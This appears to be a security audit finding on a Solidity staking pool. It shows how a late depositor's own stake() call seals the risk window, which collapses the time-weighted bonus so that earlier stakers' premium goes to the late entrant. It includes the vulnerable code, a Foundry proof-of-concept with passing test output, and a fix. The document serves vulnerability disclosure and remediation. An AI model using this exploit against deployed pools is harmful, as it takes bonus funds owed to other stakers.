FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

A late entrant seals the risk window with their own deposit, erasing earlier stakers' at-risk time

Author Revealed upon completion

Root + Impact

Description

The pool splits its bonus with a k=2, time-weighted formula whose purpose is to reward stakers for the duration they kept principal at risk: a staker's score is eligibleStake · (T − entry)², so someone exposed for the whole risk window should out-earn a late joiner of equal size.

The lower bound of that window, riskWindowStart, is sealed at the first pool call that happens to observe the registry in an active-risk state - not at the registry's real transition to UNDER_ATTACK. Because stake() observes the registry before it records the new deposit, a late entrant's own stake() can be the first observer.

When it seals the window, _markRiskWindowStart retroactively rewrites the global accumulators to totalEligibleStake · t and _clampUserSums floors every earlier depositor's entry to t.
Every staker present at the seal ends with the same entry == riskWindowStart, so (T − entry) is identical for all of them and the k=2 weighting collapses into plain amount-weighting for the whole pre-seal cohort.
The earlier stakers lose the at-risk time they actually bore; that time-premium is transferred to whoever sealed late.

ConfidencePool.sol - stake() observes before recording the deposit:

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
@> _assertDepositsAllowed(_observePoolState()); // first observer seals riskWindowStart HERE
...
_clampUserSums(msg.sender);
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
...
@> eligibleStake[msg.sender] += received; // deposit recorded AFTER the seal
}

_markRiskWindowStart retroactively resets all current stakers to t:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t; // everyone treated as entering at t
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

_clampUserSums erases each earlier depositor's accrued at-risk time:

function _clampUserSums(address u) internal {
uint256 start = riskWindowStart;
uint256 stake_ = eligibleStake[u];
if (start == 0 || stake_ == 0) return;
@> if (userSumStakeTime[u] < stake_ * start) {
@> userSumStakeTime[u] = stake_ * start; // pre-seal time deleted
userSumStakeTimeSq[u] = stake_ * start * start;
}
}

With every entry == riskWindowStart, _bonusShare's userScore = eligibleStake · (T − entry)² reduces to a constant (T − entry)² times eligibleStake - i.e. pure amount-weighting.

Risk

Likelihood:

  • The window seals on the first call that observes active risk - not at the real UNDER_ATTACK transition. Nothing on-chain ties the two together. As long as the registry is UNDER_ATTACK and nobody has poked the pool, the window is open. An insider just watches the registry and makes sure their stake() is the first observer.

Impact:

  • The k=2 time-weighting is defeated. Every staker present at the late seal is floored to the same entry time, so the bonus splits by stake amount alone - the duration-of-risk premium is erased and handed to the late sealer.

  • How much is transferred (bonus only; principal is untouched):

    • Equal stakes - pure theft: an early staker who bore 21 days of risk drops from 98.5% → 50%, and the 3-day late sealer jumps from 1.5% → 50%.

Proof of Concept

// Equal stakes: the whole delta is theft (bob has no legitimate amount-weight edge).
function test_equalStake_lateSeal_stealsTimePremium() public {
_contributeBonus(dave, 100 * ONE);
_stake(alice, 100 * ONE); // t0
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK); // NOBODY pokes
vm.warp(BASE_TIMESTAMP + 21 days); // alice bears 21 days of uncredited at-risk time
_stake(bob, 100 * ONE); // bob's own stake() is the first observer -> seals 21 days late
assertEq(pool.riskWindowStart(), BASE_TIMESTAMP + 21 days);
vm.warp(BASE_TIMESTAMP + 24 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice); pool.claimSurvived();
vm.prank(bob); pool.claimSurvived();
// Late seal floored both entries to the same instant -> amount-weighting -> 50/50.
assertApproxEqAbs(token.balanceOf(alice) - 100 * ONE, 50 * ONE, 1e15);
assertApproxEqAbs(token.balanceOf(bob) - 100 * ONE, 50 * ONE, 1e15);
}
// Control: a prompt poke at the TRUE transition restores the k=2 intent (long staker dominates).
function test_equalStake_control_promptPokeRestoresK2() public {
_contributeBonus(dave, 100 * ONE);
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow(); // sealed at the real transition
vm.warp(BASE_TIMESTAMP + 21 days);
_stake(bob, 100 * ONE);
vm.warp(BASE_TIMESTAMP + 24 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice); pool.claimSurvived();
vm.prank(bob); pool.claimSurvived();
// 100*(24d)^2 vs 100*(3d)^2 -> alice ~64x bob, as k=2 intends.
assertGt(token.balanceOf(alice) - 100 * ONE, (token.balanceOf(bob) - 100 * ONE) * 60);
}

Running the suite:

[PASS] test_equalStake_lateSeal_stealsTimePremium()
alice (21d real risk): 50.000000000000000000
bob (3d real risk) : 50.000000000000000000
[PASS] test_equalStake_control_promptPokeRestoresK2()
alice (21d real risk, poked): ~98.46 bob (3d real risk, poked): ~1.54
[PASS] test_largeStake_lateSeal_victimLoses98pctOfHerBonus()
alice bonus (exploited): 0.199600798403193612 (correct baseline ~11.35)

The insider's principal is genuinely at risk during the exploit: once the window is open, deposits close on PROMOTION_REQUESTED (no last-second entry) and the insider cannot withdraw(), so their capital is locked for the full promotion delay. The late seal is therefore not a "risk-free last-second" trick - it is the retroactive erasure of everyone else's at-risk time.

Recommended Mitigation

The root cause is that riskWindowStart is derived from the first observer's block.timestamp instead of the registry's actual UNDER_ATTACK transition time, which lets a self-interested late depositor push it forward.

function _markRiskWindowStart() internal {
- uint256 t = block.timestamp;
+ // Use the registry's real UNDER_ATTACK entry time, not the first observer's block time,
+ // so a late depositor cannot retroactively shrink everyone's at-risk window.
+ uint256 t = _registryUnderAttackTimestamp();
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!